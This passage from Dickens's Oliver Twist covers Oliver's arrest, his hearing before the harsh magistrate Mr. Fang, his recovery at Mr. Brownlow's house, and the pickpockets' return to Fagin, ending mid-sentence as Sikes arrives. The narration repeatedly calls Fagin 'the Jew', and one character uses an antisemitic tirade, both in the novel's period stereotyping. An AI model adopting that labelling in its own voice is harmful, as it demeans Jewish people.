with joy. 'Stop thief!' Ay, +stop him for God's sake, were it only in mercy! + +Stopped at last! A clever blow. He is down upon the pavement; +and the crowd eagerly gather round him: each new comer, jostling +and struggling with the others to catch a glimpse. 'Stand +aside!' 'Give him a little air!' 'Nonsense! he don't deserve +it.' 'Where's the gentleman?' 'Here his is, coming down the +street.' 'Make room there for the gentleman!' 'Is this the boy, +sir!' 'Yes.' + +Oliver lay, covered with mud and dust, and bleeding from the +mouth, looking wildly round upon the heap of faces that +surrounded him, when the old gentleman was officiously dragged +and pushed into the circle by the foremost of the pursuers. + +'Yes,' said the gentleman, 'I am afraid it is the boy.' + +'Afraid!' murmured the crowd. 'That's a good 'un!' + +'Poor fellow!' said the gentleman, 'he has hurt himself.' + +'_I_ did that, sir,' said a great lubberly fellow, stepping +forward; 'and preciously I cut my knuckle agin' his mouth. I +stopped him, sir.' + +The follow touched his hat with a grin, expecting something for +his pains; but, the old gentleman, eyeing him with an expression +of dislike, look anxiously round, as if he contemplated running +away himself: which it is very possible he might have attempted +to do, and thus have afforded another chase, had not a police +officer (who is generally the last person to arrive in such +cases) at that moment made his way through the crowd, and seized +Oliver by the collar. + +'Come, get up,' said the man, roughly. + +'It wasn't me indeed, sir. Indeed, indeed, it was two other +boys,' said Oliver, clasping his hands passionately, and looking +round. 'They are here somewhere.' + +'Oh no, they ain't,' said the officer. He meant this to be +ironical, but it was true besides; for the Dodger and Charley +Bates had filed off down the first convenient court they came to. + +'Come, get up!' + +'Don't hurt him,' said the old gentleman, compassionately. + +'Oh no, I won't hurt him,' replied the officer, tearing his +jacket half off his back, in proof thereof. 'Come, I know you; +it won't do. Will you stand upon your legs, you young devil?' + +Oliver, who could hardly stand, made a shift to raise himself on +his feet, and was at once lugged along the streets by the +jacket-collar, at a rapid pace. The gentleman walked on with +them by the officer's side; and as many of the crowd as could +achieve the feat, got a little ahead, and stared back at Oliver +from time to time. The boys shouted in triumph; and on they +went. + + + + +CHAPTER XI + +TREATS OF MR. FANG THE POLICE MAGISTRATE; AND FURNISHES A SLIGHT +SPECIMEN OF HIS MODE OF ADMINISTERING JUSTICE + +The offence had been committed within the district, and indeed in +the immediate neighborhood of, a very notorious metropolitan +police office. The crowd had only the satisfaction of +accompanying Oliver through two or three streets, and down a +place called Mutton Hill, when he was led beneath a low archway, +and up a dirty court, into this dispensary of summary justice, by +the back way. It was a small paved yard into which they turned; +and here they encountered a stout man with a bunch of whiskers on +his face, and a bunch of keys in his hand. + +'What's the matter now?' said the man carelessly. + +'A young fogle-hunter,' replied the man who had Oliver in charge. + +'Are you the party that's been robbed, sir?' inquired the man +with the keys. + +'Yes, I am,' replied the old gentleman; 'but I am not sure that +this boy actually took the handkerchief. I--I would rather not +press the case.' + +'Must go before the magistrate now, sir,' replied the man. 'His +worship will be disengaged in half a minute. Now, young +gallows!' + +This was an invitation for Oliver to enter through a door which +he unlocked as he spoke, and which led into a stone cell. Here +he was searched; and nothing being found upon him, locked up. + +This cell was in shape and size something like an area cellar, +only not so light. It was most intolerably dirty; for it was +Monday morning; and it had been tenanted by six drunken people, +who had been locked up, elsewhere, since Saturday night. But +this is little. In our station-houses, men and women are every +night confined on the most trivial charges--the word is worth +noting--in dungeons, compared with which, those in Newgate, +occupied by the most atrocious felons, tried, found guilty, and +under sentence of death, are palaces. Let any one who doubts +this, compare the two. + +The old gentleman looked almost as rueful as Oliver when the key +grated in the lock. He turned with a sigh to the book, which had +been the innocent cause of all this disturbance. + +'There is something in that boy's face,' said the old gentleman +to himself as he walked slowly away, tapping his chin with the +cover of the book, in a thoughtful manner; 'something that +touches and interests me. _Can_ he be innocent? He looked +like--Bye the bye,' exclaimed the old gentleman, halting very +abruptly, and staring up into the sky, 'Bless my soul!--where +have I seen something like that look before?' + +After musing for some minutes, the old gentleman walked, with the +same meditative face, into a back anteroom opening from the yard; +and there, retiring into a corner, called up before his mind's +eye a vast amphitheatre of faces over which a dusky curtain had +hung for many years. 'No,' said the old gentleman, shaking his +head; 'it must be imagination. + +He wandered over them again. He had called them into view, and +it was not easy to replace the shroud that had so long concealed +them. There were the faces of friends, and foes, and of many +that had been almost strangers peering intrusively from the +crowd; there were the faces of young and blooming girls that were +now old women; there were faces that the grave had changed and +closed upon, but which the mind, superior to its power, still +dressed in their old freshness and beauty, calling back the +lustre of the eyes, the brightness of the smile, the beaming of +the soul through its mask of clay, and whispering of beauty +beyond the tomb, changed but to be heightened, and taken from +earth only to be set up as a light, to shed a soft and gentle +glow upon the path to Heaven. + +But the old gentleman could recall no one countenance of which +Oliver's features bore a trace. So, he heaved a sigh over the +recollections he awakened; and being, happily for himself, an +absent old gentleman, buried them again in the pages of the musty +book. + +He was roused by a touch on the shoulder, and a request from the +man with the keys to follow him into the office. He closed his +book hastily; and was at once ushered into the imposing presence +of the renowned Mr. Fang. + +The office was a front parlour, with a panelled wall. Mr. Fang +sat behind a bar, at the upper end; and on one side the door was +a sort of wooden pen in which poor little Oliver was already +deposited; trembling very much at the awfulness of the scene. + +Mr. Fang was a lean, long-backed, stiff-necked, middle-sized man, +with no great quantity of hair, and what he had, growing on the +back and sides of his head. His face was stern, and much +flushed. If he were really not in the habit of drinking rather +more than was exactly good for him, he might have brought action +against his countenance for libel, and have recovered heavy +damages. + +The old gentleman bowed respectfully; and advancing to the +magistrate's desk, said, suiting the action to the word, 'That is +my name and address, sir.' He then withdrew a pace or two; and, +with another polite and gentlemanly inclination of the head, +waited to be questioned. + +Now, it so happened that Mr. Fang was at that moment perusing a +leading article in a newspaper of the morning, adverting to some +recent decision of his, and commending him, for the three hundred +and fiftieth time, to the special and particular notice of the +Secretary of State for the Home Department. He was out of +temper; and he looked up with an angry scowl. + +'Who are you?' said Mr. Fang. + +The old gentleman pointed, with some surprise, to his card. + +'Officer!' said Mr. Fang, tossing the card contemptuously away +with the newspaper. 'Who is this fellow?' + +'My name, sir,' said the old gentleman, speaking _like_ a +gentleman, 'my name, sir, is Brownlow. Permit me to inquire the +name of the magistrate who offers a gratuitous and unprovoked +insult to a respectable person, under the protection of the +bench.' Saying this, Mr. Brownlow looked around the office as if +in search of some person who would afford him the required +information. + +'Officer!' said Mr. Fang, throwing the paper on one side, 'what's +this fellow charged with?' + +'He's not charged at all, your worship,' replied the officer. 'He +appears against this boy, your worship.' + +His worship knew this perfectly well; but it was a good annoyance, +and a safe one. + +'Appears against the boy, does he?' said Mr. Fang, surveying Mr. +Brownlow contemptuously from head to foot. 'Swear him!' + +'Before I am sworn, I must beg to say one word,' said Mr. +Brownlow; 'and that is, that I really never, without actual +experience, could have believed--' + +'Hold your tongue, sir!' said Mr. Fang, peremptorily. + +'I will not, sir!' replied the old gentleman. + +'Hold your tongue this instant, or I'll have you turned out of +the office!' said Mr. Fang. 'You're an insolent impertinent +fellow. How dare you bully a magistrate!' + +'What!' exclaimed the old gentleman, reddening. + +'Swear this person!' said Fang to the clerk. 'I'll not hear +another word. Swear him.' + +Mr. Brownlow's indignation was greatly roused; but reflecting +perhaps, that he might only injure the boy by giving vent to it, +he suppressed his feelings and submitted to be sworn at once. + +'Now,' said Fang, 'what's the charge against this boy? What have +you got to say, sir?' + +'I was standing at a bookstall--' Mr. Brownlow began. + +'Hold your tongue, sir,' said Mr. Fang. 'Policeman! Where's the +policeman? Here, swear this policeman. Now, policeman, what is +this?' + +The policeman, with becoming humility, related how he had taken +the charge; how he had searched Oliver, and found nothing on his +person; and how that was all he knew about it. + +'Are there any witnesses?' inquired Mr. Fang. + +'None, your worship,' replied the policeman. + +Mr. Fang sat silent for some minutes, and then, turning round to +the prosecutor, said in a towering passion. + +'Do you mean to state what your complaint against this boy is, +man, or do you not? You have been sworn. Now, if you stand +there, refusing to give evidence, I'll punish you for disrespect +to the bench; I will, by--' + +By what, or by whom, nobody knows, for the clerk and jailor +coughed very loud, just at the right moment; and the former +dropped a heavy book upon the floor, thus preventing the word +from being heard--accidently, of course. + +With many interruptions, and repeated insults, Mr. Brownlow +contrived to state his case; observing that, in the surprise of +the moment, he had run after the boy because he had saw him +running away; and expressing his hope that, if the magistrate +should believe him, although not actually the thief, to be +connected with the thieves, he would deal as leniently with him +as justice would allow. + +'He has been hurt already,' said the old gentleman in conclusion. +'And I fear,' he added, with great energy, looking towards the +bar, 'I really fear that he is ill.' + +'Oh! yes, I dare say!' said Mr. Fang, with a sneer. 'Come, none +of your tricks here, you young vagabond; they won't do. What's +your name?' + +Oliver tried to reply but his tongue failed him. He was deadly +pale; and the whole place seemed turning round and round. + +'What's your name, you hardened scoundrel?' demanded Mr. Fang. +'Officer, what's his name?' + +This was addressed to a bluff old fellow, in a striped waistcoat, +who was standing by the bar. He bent over Oliver, and repeated +the inquiry; but finding him really incapable of understanding +the question; and knowing that his not replying would only +infuriate the magistrate the more, and add to the severity of his +sentence; he hazarded a guess. + +'He says his name's Tom White, your worship,' said the +kind-hearted thief-taker. + +'Oh, he won't speak out, won't he?' said Fang. 'Very well, very +well. Where does he live?' + +'Where he can, your worship,' replied the officer; again +pretending to receive Oliver's answer. + +'Has he any parents?' inquired Mr. Fang. + +'He says they died in his infancy, your worship,' replied the +officer: hazarding the usual reply. + +At this point of the inquiry, Oliver raised his head; and, +looking round with imploring eyes, murmured a feeble prayer for a +draught of water. + +'Stuff and nonsense!' said Mr. Fang: 'don't try to make a fool +of me.' + +'I think he really is ill, your worship,' remonstrated the +officer. + +'I know better,' said Mr. Fang. + +'Take care of him, officer,' said the old gentleman, raising his +hands instinctively; 'he'll fall down.' + +'Stand away, officer,' cried Fang; 'let him, if he likes.' + +Oliver availed himself of the kind permission, and fell to the +floor in a fainting fit. The men in the office looked at each +other, but no one dared to stir. + +'I knew he was shamming,' said Fang, as if this were +incontestable proof of the fact. 'Let him lie there; he'll soon +be tired of that.' + +'How do you propose to deal with the case, sir?' inquired the +clerk in a low voice. + +'Summarily,' replied Mr. Fang. 'He stands committed for three +months--hard labour of course. Clear the office.' + +The door was opened for this purpose, and a couple of men were +preparing to carry the insensible boy to his cell; when an +elderly man of decent but poor appearance, clad in an old suit of +black, rushed hastily into the office, and advanced towards the +bench. + +'Stop, stop! don't take him away! For Heaven's sake stop a +moment!' cried the new comer, breathless with haste. + +Although the presiding Genii in such an office as this, exercise +a summary and arbitrary power over the liberties, the good name, +the character, almost the lives, of Her Majesty's subjects, +expecially of the poorer class; and although, within such walls, +enough fantastic tricks are daily played to make the angels blind +with weeping; they are closed to the public, save through the +medium of the daily press.[Footnote: Or were virtually, then.] +Mr. Fang was consequently not a little indignant to see an +unbidden guest enter in such irreverent disorder. + +'What is this? Who is this? Turn this man out. Clear the +office!' cried Mr. Fang. + +'I _will_ speak,' cried the man; 'I will not be turned out. I saw +it all. I keep the book-stall. I demand to be sworn. I will not +be put down. Mr. Fang, you must hear me. You must not refuse, +sir.' + +The man was right. His manner was determined; and the matter was +growing rather too serious to be hushed up. + +'Swear the man,' growled Mr. Fang. with a very ill grace. 'Now, +man, what have you got to say?' + +'This,' said the man: 'I saw three boys: two others and the +prisoner here: loitering on the opposite side of the way, when +this gentleman was reading. The robbery was committed by another +boy. I saw it done; and I saw that this boy was perfectly amazed +and stupified by it.' Having by this time recovered a little +breath, the worthy book-stall keeper proceeded to relate, in a +more coherent manner the exact circumstances of the robbery. + +'Why didn't you come here before?' said Fang, after a pause. + +'I hadn't a soul to mind the shop,' replied the man. 'Everybody +who could have helped me, had joined in the pursuit. I could get +nobody till five minutes ago; and I've run here all the way.' + +'The prosecutor was reading, was he?' inquired Fang, after +another pause. + +'Yes,' replied the man. 'The very book he has in his hand.' + +'Oh, that book, eh?' said Fang. 'Is it paid for?' + +'No, it is not,' replied the man, with a smile. + +'Dear me, I forgot all about it!' exclaimed the absent old +gentleman, innocently. + +'A nice person to prefer a charge against a poor boy!' said Fang, +with a comical effort to look humane. 'I consider, sir, that you +have obtained possession of that book, under very suspicious and +disreputable circumstances; and you may think yourself very +fortunate that the owner of the property declines to prosecute. +Let this be a lesson to you, my man, or the law will overtake you +yet. The boy is discharged. Clear the office!' + +'D--n me!' cried the old gentleman, bursting out with the rage he +had kept down so long, 'd--n me! I'll--' + +'Clear the office!' said the magistrate. 'Officers, do you hear? +Clear the office!' + +The mandate was obeyed; and the indignant Mr. Brownlow was +conveyed out, with the book in one hand, and the bamboo cane in +the other: in a perfect phrenzy of rage and defiance. He +reached the yard; and his passion vanished in a moment. Little +Oliver Twist lay on his back on the pavement, with his shirt +unbuttoned, and his temples bathed with water; his face a deadly +white; and a cold tremble convulsing his whole frame. + +'Poor boy, poor boy!' said Mr. Brownlow, bending over him. 'Call +a coach, somebody, pray. Directly!' + +A coach was obtained, and Oliver having been carefully laid on +the seat, the old gentleman got in and sat himself on the other. + +'May I accompany you?' said the book-stall keeper, looking in. + +'Bless me, yes, my dear sir,' said Mr. Brownlow quickly. 'I +forgot you. Dear, dear! I have this unhappy book still! Jump +in. Poor fellow! There's no time to lose.' + +The book-stall keeper got into the coach; and away they drove. + + + + +CHAPTER XII + +IN WHICH OLIVER IS TAKEN BETTER CARE OF THAN HE EVER WAS BEFORE. +AND IN WHICH THE NARRATIVE REVERTS TO THE MERRY OLD GENTLEMAN AND +HIS YOUTHFUL FRIENDS. + +The coach rattled away, over nearly the same ground as that which +Oliver had traversed when he first entered London in company with +the Dodger; and, turning a different way when it reached the +Angel at Islington, stopped at length before a neat house, in a +quiet shady street near Pentonville. Here, a bed was prepared, +without loss of time, in which Mr. Brownlow saw his young charge +carefully and comfortably deposited; and here, he was tended with +a kindness and solicitude that knew no bounds. + +But, for many days, Oliver remained insensible to all the +goodness of his new friends. The sun rose and sank, and rose and +sank again, and many times after that; and still the boy lay +stretched on his uneasy bed, dwindling away beneath the dry and +wasting heat of fever. The worm does not work more surely on the +dead body, than does this slow creeping fire upon the living +frame. + +Weak, and thin, and pallid, he awoke at last from what seemed to +have been a long and troubled dream. Feebly raising himself in +the bed, with his head resting on his trembling arm, he looked +anxiously around. + +'What room is this? Where have I been brought to?' said Oliver. +'This is not the place I went to sleep in.' + +He uttered these words in a feeble voice, being very faint and +weak; but they were overheard at once. The curtain at the bed's +head was hastily drawn back, and a motherly old lady, very neatly +and precisely dressed, rose as she undrew it, from an arm-chair +close by, in which she had been sitting at needle-work. + +'Hush, my dear,' said the old lady softly. 'You must be very +quiet, or you will be ill again; and you have been very bad,--as +bad as bad could be, pretty nigh. Lie down again; there's a +dear!' With those words, the old lady very gently placed +Oliver's head upon the pillow; and, smoothing back his hair from +his forehead, looked so kindly and loving in his face, that he +could not help placing his little withered hand in hers, and +drawing it round his neck. + +'Save us!' said the old lady, with tears in her eyes. 'What a +grateful little dear it is. Pretty creetur! What would his +mother feel if she had sat by him as I have, and could see him +now!' + +'Perhaps she does see me,' whispered Oliver, folding his hands +together; 'perhaps she has sat by me. I almost feel as if she +had.' + +'That was the fever, my dear,' said the old lady mildly. + +'I suppose it was,' replied Oliver, 'because heaven is a long way +off; and they are too happy there, to come down to the bedside of +a poor boy. But if she knew I was ill, she must have pitied me, +even there; for she was very ill herself before she died. She +can't know anything about me though,' added Oliver after a +moment's silence. 'If she had seen me hurt, it would have made +her sorrowful; and her face has always looked sweet and happy, +when I have dreamed of her.' + +The old lady made no reply to this; but wiping her eyes first, +and her spectacles, which lay on the counterpane, afterwards, as +if they were part and parcel of those features, brought some cool +stuff for Oliver to drink; and then, patting him on the cheek, +told him he must lie very quiet, or he would be ill again. + +So, Oliver kept very still; partly because he was anxious to obey +the kind old lady in all things; and partly, to tell the truth, +because he was completely exhausted with what he had already +said. He soon fell into a gentle doze, from which he was +awakened by the light of a candle: which, being brought near the +bed, showed him a gentleman with a very large and loud-ticking +gold watch in his hand, who felt his pulse, and said he was a +great deal better. + +'You _are_ a great deal better, are you not, my dear?' said the +gentleman. + +'Yes, thank you, sir,' replied Oliver. + +'Yes, I know you are,' said the gentleman: 'You're hungry too, +an't you?' + +'No, sir,' answered Oliver. + +'Hem!' said the gentleman. 'No, I know you're not. He is not +hungry, Mrs. Bedwin,' said the gentleman: looking very wise. + +The old lady made a respectful inclination of the head, which +seemed to say that she thought the doctor was a very clever man. +The doctor appeared much of the same opinion himself. + +'You feel sleepy, don't you, my dear?' said the doctor. + +'No, sir,' replied Oliver. + +'No,' said the doctor, with a very shrewd and satisfied look. +'You're not sleepy. Nor thirsty. Are you?' + +'Yes, sir, rather thirsty,' answered Oliver. + +'Just as I expected, Mrs. Bedwin,' said the doctor. 'It's very +natural that he should be thirsty. You may give him a little +tea, ma'am, and some dry toast without any butter. Don't keep +him too warm, ma'am; but be careful that you don't let him be too +cold; will you have the goodness?' + +The old lady dropped a curtsey. The doctor, after tasting the +cool stuff, and expressing a qualified approval of it, hurried +away: his boots creaking in a very important and wealthy manner +as he went downstairs. + +Oliver dozed off again, soon after this; when he awoke, it was +nearly twelve o'clock. The old lady tenderly bade him good-night +shortly afterwards, and left him in charge of a fat old woman who +had just come: bringing with her, in a little bundle, a small +Prayer Book and a large nightcap. Putting the latter on her head +and the former on the table, the old woman, after telling Oliver +that she had come to sit up with him, drew her chair close to the +fire and went off into a series of short naps, chequered at +frequent intervals with sundry tumblings forward, and divers +moans and chokings. These, however, had no worse effect than +causing her to rub her nose very hard, and then fall asleep +again. + +And thus the night crept slowly on. Oliver lay awake for some +time, counting the little circles of light which the reflection +of the rushlight-shade threw upon the ceiling; or tracing with +his languid eyes the intricate pattern of the paper on the wall. +The darkness and the deep stillness of the room were very solemn; +as they brought into the boy's mind the thought that death had +been hovering there, for many days and nights, and might yet fill +it with the gloom and dread of his awful presence, he turned his +face upon the pillow, and fervently prayed to Heaven. + +Gradually, he fell into that deep tranquil sleep which ease from +recent suffering alone imparts; that calm and peaceful rest which +it is pain to wake from. Who, if this were death, would be +roused again to all the struggles and turmoils of life; to all +its cares for the present; its anxieties for the future; more +than all, its weary recollections of the past! + +It had been bright day, for hours, when Oliver opened his eyes; +he felt cheerful and happy. The crisis of the disease was safely +past. He belonged to the world again. + +In three days' time he was able to sit in an easy-chair, well +propped up with pillows; and, as he was still too weak to walk, +Mrs. Bedwin had him carried downstairs into the little +housekeeper's room, which belonged to her. Having him set, here, +by the fire-side, the good old lady sat herself down too; and, +being in a state of considerable delight at seeing him so much +better, forthwith began to cry most violently. + +'Never mind me, my dear,' said the old lady; 'I'm only having a +regular good cry. There; it's all over now; and I'm quite +comfortable.' + +'You're very, very kind to me, ma'am,' said Oliver. + +'Well, never you mind that, my dear,' said the old lady; 'that's +got nothing to do with your broth; and it's full time you had it; +for the doctor says Mr. Brownlow may come in to see you this +morning; and we must get up our best looks, because the better we +look, the more he'll be pleased.' And with this, the old lady +applied herself to warming up, in a little saucepan, a basin full +of broth: strong enough, Oliver thought, to furnish an ample +dinner, when reduced to the regulation strength, for three +hundred and fifty paupers, at the lowest computation. + +'Are you fond of pictures, dear?' inquired the old lady, seeing +that Oliver had fixed his eyes, most intently, on a portrait +which hung against the wall; just opposite his chair. + +'I don't quite know, ma'am,' said Oliver, without taking his eyes +from the canvas; 'I have seen so few that I hardly know. What a +beautiful, mild face that lady's is!' + +'Ah!' said the old lady, 'painters always make ladies out +prettier than they are, or they wouldn't get any custom, child. +The man that invented the machine for taking likenesses might +have known that would never succeed; it's a deal too honest. A +deal,' said the old lady, laughing very heartily at her own +acuteness. + +'Is--is that a likeness, ma'am?' said Oliver. + +'Yes,' said the old lady, looking up for a moment from the broth; +'that's a portrait.' + +'Whose, ma'am?' asked Oliver. + +'Why, really, my dear, I don't know,' answered the old lady in a +good-humoured manner. 'It's not a likeness of anybody that you +or I know, I expect. It seems to strike your fancy, dear.' + +'It is so pretty,' replied Oliver. + +'Why, sure you're not afraid of it?' said the old lady: observing +in great surprise, the look of awe with which the child regarded +the painting. + +'Oh no, no,' returned Oliver quickly; 'but the eyes look so +sorrowful; and where I sit, they seem fixed upon me. It makes my +heart beat,' added Oliver in a low voice, 'as if it was alive, +and wanted to speak to me, but couldn't.' + +'Lord save us!' exclaimed the old lady, starting; 'don't talk in +that way, child. You're weak and nervous after your illness. +Let me wheel your chair round to the other side; and then you +won't see it. There!' said the old lady, suiting the action to +the word; 'you don't see it now, at all events.' + +Oliver _did_ see it in his mind's eye as distinctly as if he had +not altered his position; but he thought it better not to worry +the kind old lady; so he smiled gently when she looked at him; +and Mrs. Bedwin, satisfied that he felt more comfortable, salted +and broke bits of toasted bread into the broth, with all the +bustle befitting so solemn a preparation. Oliver got through it +with extraordinary expedition. He had scarcely swallowed the +last spoonful, when there came a soft rap at the door. 'Come +in,' said the old lady; and in walked Mr. Brownlow. + +Now, the old gentleman came in as brisk as need be; but, he had +no sooner raised his spectacles on his forehead, and thrust his +hands behind the skirts of his dressing-gown to take a good long +look at Oliver, than his countenance underwent a very great +variety of odd contortions. Oliver looked very worn and shadowy +from sickness, and made an ineffectual attempt to stand up, out +of respect to his benefactor, which terminated in his sinking +back into the chair again; and the fact is, if the truth must be +told, that Mr. Brownlow's heart, being large enough for any six +ordinary old gentlemen of humane disposition, forced a supply of +tears into his eyes, by some hydraulic process which we are not +sufficiently philosophical to be in a condition to explain. + +'Poor boy, poor boy!' said Mr. Brownlow, clearing his throat. +'I'm rather hoarse this morning, Mrs. Bedwin. I'm afraid I have +caught cold.' + +'I hope not, sir,' said Mrs. Bedwin. 'Everything you have had, +has been well aired, sir.' + +'I don't know, Bedwin. I don't know,' said Mr. Brownlow; 'I +rather think I had a damp napkin at dinner-time yesterday; but +never mind that. How do you feel, my dear?' + +'Very happy, sir,' replied Oliver. 'And very grateful indeed, +sir, for your goodness to me.' + +'Good by,' said Mr. Brownlow, stoutly. 'Have you given him any +nourishment, Bedwin? Any slops, eh?' + +'He has just had a basin of beautiful strong broth, sir,' replied +Mrs. Bedwin: drawing herself up slightly, and laying strong +emphasis on the last word: to intimate that between slops, and +broth will compounded, there existed no affinity or connection +whatsoever. + +'Ugh!' said Mr. Brownlow, with a slight shudder; 'a couple of +glasses of port wine would have done him a great deal more good. +Wouldn't they, Tom White, eh?' + +'My name is Oliver, sir,' replied the little invalid: with a +look of great astonishment. + +'Oliver,' said Mr. Brownlow; 'Oliver what? Oliver White, eh?' + +'No, sir, Twist, Oliver Twist.' + +'Queer name!' said the old gentleman. 'What made you tell the +magistrate your name was White?' + +'I never told him so, sir,' returned Oliver in amazement. + +This sounded so like a falsehood, that the old gentleman looked +somewhat sternly in Oliver's face. It was impossible to doubt +him; there was truth in every one of its thin and sharpened +lineaments. + +'Some mistake,' said Mr. Brownlow. But, although his motive for +looking steadily at Oliver no longer existed, the old idea of the +resemblance between his features and some familiar face came upon +him so strongly, that he could not withdraw his gaze. + +'I hope you are not angry with me, sir?' said Oliver, raising his +eyes beseechingly. + +'No, no,' replied the old gentleman. 'Why! what's this? Bedwin, +look there!' + +As he spoke, he pointed hastily to the picture over Oliver's +head, and then to the boy's face. There was its living copy. The +eyes, the head, the mouth; every feature was the same. The +expression was, for the instant, so precisely alike, that the +minutest line seemed copied with startling accuracy! + +Oliver knew not the cause of this sudden exclamation; for, not +being strong enough to bear the start it gave him, he fainted +away. A weakness on his part, which affords the narrative an +opportunity of relieving the reader from suspense, in behalf of +the two young pupils of the Merry Old Gentleman; and of +recording-- + +That when the Dodger, and his accomplished friend Master Bates, +joined in the hue-and-cry which was raised at Oliver's heels, in +consequence of their executing an illegal conveyance of Mr. +Brownlow's personal property, as has been already described, they +were actuated by a very laudable and becoming regard for +themselves; and forasmuch as the freedom of the subject and the +liberty of the individual are among the first and proudest boasts +of a true-hearted Englishman, so, I need hardly beg the reader to +observe, that this action should tend to exalt them in the +opinion of all public and patriotic men, in almost as great a +degree as this strong proof of their anxiety for their own +preservation and safety goes to corroborate and confirm the +little code of laws which certain profound and sound-judging +philosophers have laid down as the main-springs of all Nature's +deeds and actions: the said philosophers very wisely reducing +the good lady's proceedings to matters of maxim and theory: and, +by a very neat and pretty compliment to her exalted wisdom and +understanding, putting entirely out of sight any considerations +of heart, or generous impulse and feeling. For, these are matters +totally beneath a female who is acknowledged by universal +admission to be far above the numerous little foibles and +weaknesses of her sex. + +If I wanted any further proof of the strictly philosophical +nature of the conduct of these young gentlemen in their very +delicate predicament, I should at once find it in the fact (also +recorded in a foregoing part of this narrative), of their +quitting the pursuit, when the general attention was fixed upon +Oliver; and making immediately for their home by the shortest +possible cut. Although I do not mean to assert that it is +usually the practice of renowned and learned sages, to shorten +the road to any great conclusion (their course indeed being +rather to lengthen the distance, by various circumlocutions and +discursive staggerings, like unto those in which drunken men +under the pressure of a too mighty flow of ideas, are prone to +indulge); still, I do mean to say, and do say distinctly, that it +is the invariable practice of many mighty philosophers, in +carrying out their theories, to evince great wisdom and foresight +in providing against every possible contingency which can be +supposed at all likely to affect themselves. Thus, to do a great +right, you may do a little wrong; and you may take any means +which the end to be attained, will justify; the amount of the +right, or the amount of the wrong, or indeed the distinction +between the two, being left entirely to the philosopher +concerned, to be settled and determined by his clear, +comprehensive, and impartial view of his own particular case. + +It was not until the two boys had scoured, with great rapidity, +through a most intricate maze of narrow streets and courts, that +they ventured to halt beneath a low and dark archway. Having +remained silent here, just long enough to recover breath to +speak, Master Bates uttered an exclamation of amusement and +delight; and, bursting into an uncontrollable fit of laughter, +flung himself upon a doorstep, and rolled thereon in a transport +of mirth. + +'What's the matter?' inquired the Dodger. + +'Ha! ha! ha!' roared Charley Bates. + +'Hold your noise,' remonstrated the Dodger, looking cautiously +round. 'Do you want to be grabbed, stupid?' + +'I can't help it,' said Charley, 'I can't help it! To see him +splitting away at that pace, and cutting round the corners, and +knocking up again' the posts, and starting on again as if he was +made of iron as well as them, and me with the wipe in my pocket, +singing out arter him--oh, my eye!' The vivid imagination of +Master Bates presented the scene before him in too strong +colours. As he arrived at this apostrophe, he again rolled upon +the door-step, and laughed louder than before. + +'What'll Fagin say?' inquired the Dodger; taking advantage of the +next interval of breathlessness on the part of his friend to +propound the question. + +'What?' repeated Charley Bates. + +'Ah, what?' said the Dodger. + +'Why, what should he say?' inquired Charley: stopping rather +suddenly in his merriment; for the Dodger's manner was +impressive. 'What should he say?' + +Mr. Dawkins whistled for a couple of minutes; then, taking off +his hat, scratched his head, and nodded thrice. + +'What do you mean?' said Charley. + +'Toor rul lol loo, gammon and spinnage, the frog he wouldn't, and +high cockolorum,' said the Dodger: with a slight sneer on his +intellectual countenance. + +This was explanatory, but not satisfactory. Master Bates felt it +so; and again said, 'What do you mean?' + +The Dodger made no reply; but putting his hat on again, and +gathering the skirts of his long-tailed coat under his arm, +thrust his tongue into his cheek, slapped the bridge of his nose +some half-dozen times in a familiar but expressive manner, and +turning on his heel, slunk down the court. Master Bates +followed, with a thoughtful countenance. + +The noise of footsteps on the creaking stairs, a few minutes +after the occurrence of this conversation, roused the merry old +gentleman as he sat over the fire with a saveloy and a small loaf +in his hand; a pocket-knife in his right; and a pewter pot on the +trivet. There was a rascally smile on his white face as he +turned round, and looking sharply out from under his thick red +eyebrows, bent his ear towards the door, and listened. + +'Why, how's this?' muttered the Jew: changing countenance; 'only +two of 'em? Where's the third? They can't have got into +trouble. Hark!' + +The footsteps approached nearer; they reached the landing. The +door was slowly opened; and the Dodger and Charley Bates entered, +closing it behind them. + + + + +CHAPTER XIII + +SOME NEW ACQUAINTANCES ARE INTRODUCED TO THE INTELLIGENT READER, +CONNECTED WITH WHOM VARIOUS PLEASANT MATTERS ARE RELATED, +APPERTAINING TO THIS HISTORY + +'Where's Oliver?' said the Jew, rising with a menacing look. +'Where's the boy?' + +The young thieves eyed their preceptor as if they were alarmed at +his violence; and looked uneasily at each other. But they made +no reply. + +'What's become of the boy?' said the Jew, seizing the Dodger +tightly by the collar, and threatening him with horrid +imprecations. 'Speak out, or I'll throttle you!' + +Mr. Fagin looked so very much in earnest, that Charley Bates, who +deemed it prudent in all cases to be on the safe side, and who +conceived it by no means improbable that it might be his turn to +be throttled second, dropped upon his knees, and raised a loud, +well-sustained, and continuous roar--something between a mad bull +and a speaking trumpet. + +'Will you speak?' thundered the Jew: shaking the Dodger so much +that his keeping in the big coat at all, seemed perfectly +miraculous. + +'Why, the traps have got him, and that's all about it,' said the +Dodger, sullenly. 'Come, let go o' me, will you!' And, +swinging himself, at one jerk, clean out of the big coat, which +he left in the Jew's hands, the Dodger snatched up the toasting +fork, and made a pass at the merry old gentleman's waistcoat; +which, if it had taken effect, would have let a little more +merriment out than could have been easily replaced. + +The Jew stepped back in this emergency, with more agility than +could have been anticipated in a man of his apparent decrepitude; +and, seizing up the pot, prepared to hurl it at his assailant's +head. But Charley Bates, at this moment, calling his attention +by a perfectly terrific howl, he suddenly altered its +destination, and flung it full at that young gentleman. + +'Why, what the blazes is in the wind now!' growled a deep voice. +'Who pitched that 'ere at me? It's well it's the beer, and not +the pot, as hit me, or I'd have settled somebody. I might have +know'd, as nobody but an infernal, rich, plundering, thundering +old Jew could afford to throw away any drink but water--and not +that, unless he done the River Company every quarter. Wot's it +all about, Fagin? D--me, if my neck-handkercher an't lined with +beer! Come in, you sneaking warmint; wot are you stopping +outside for, as if you was ashamed of your master! Come in!' + +The man who growled out these words, was a stoutly-built fellow +of about five-and-thirty, in a black velveteen coat, very soiled +drab breeches, lace-up half boots, and grey cotton stockings +which inclosed a bulky pair of legs, with large swelling +calves;--the kind of legs, which in such costume, always look in +an unfinished and incomplete state without a set of fetters to +garnish them. He had a brown hat on his head, and a dirty +belcher handkerchief round his neck: with the long frayed ends +of which he smeared the beer from his face as he spoke. He +disclosed, when he had done so, a broad heavy countenance with a +beard of three days' growth, and two scowling eyes; one of which +displayed various parti-coloured symptoms of having been recently +damaged by a blow. + +'Come in, d'ye hear?' growled this engaging ruffian. + +A white shaggy dog, with his face scratched and torn in twenty +different places, skulked into the room. + +'Why didn't you come in afore?' said the man. 'You're getting +too proud to own 